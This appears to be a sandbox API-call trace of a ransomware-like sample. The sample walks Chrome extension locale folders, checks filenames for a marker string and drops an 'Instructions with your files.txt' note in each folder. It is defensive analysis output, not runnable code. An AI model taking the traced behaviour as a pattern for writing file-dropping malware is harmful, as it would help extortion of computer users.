[0130.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.295] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\.") returned 152
[0130.295] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.295] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\..") returned 153
[0130.295] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8359b7c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359ded0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.295] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json") returned 164
[0130.295] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.295] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8359b7c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359ded0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.295] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\Instructions with your files.txt") returned 183
[0130.295] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.295] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.296] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.296] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.296] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.297] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.297] CloseHandle (hObject=0x134) returned 1
[0130.297] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.297] GetProcessHeap () returned 0x810000
[0130.297] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.297] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0130.297] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR") returned 153
[0130.297] GetProcessHeap () returned 0x810000
[0130.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.297] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*") returned 155
[0130.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.298] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\.") returned 155
[0130.298] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.298] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\..") returned 156
[0130.298] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a05e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.298] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json") returned 167
[0130.298] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.298] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a05e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.298] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 186
[0130.298] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.299] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.300] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.300] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.300] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.300] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.300] CloseHandle (hObject=0x134) returned 1
[0130.300] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.300] GetProcessHeap () returned 0x810000
[0130.300] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.300] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0130.301] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT") returned 153
[0130.301] GetProcessHeap () returned 0x810000
[0130.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.301] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*") returned 155
[0130.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.303] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\.") returned 155
[0130.303] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.304] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\..") returned 156
[0130.304] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a5400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.304] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json") returned 167
[0130.304] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.304] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a5400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.304] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 186
[0130.304] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.304] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.305] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.305] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.305] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.305] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.305] CloseHandle (hObject=0x134) returned 1
[0130.306] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.306] GetProcessHeap () returned 0x810000
[0130.306] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.306] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0130.306] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro") returned 150
[0130.306] GetProcessHeap () returned 0x810000
[0130.306] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.306] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*") returned 152
[0130.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.307] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\.") returned 152
[0130.307] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.307] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\..") returned 153
[0130.307] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b1750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b3e60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40db, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.307] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json") returned 164
[0130.307] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.307] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b1750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b3e60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40db, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.307] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\Instructions with your files.txt") returned 183
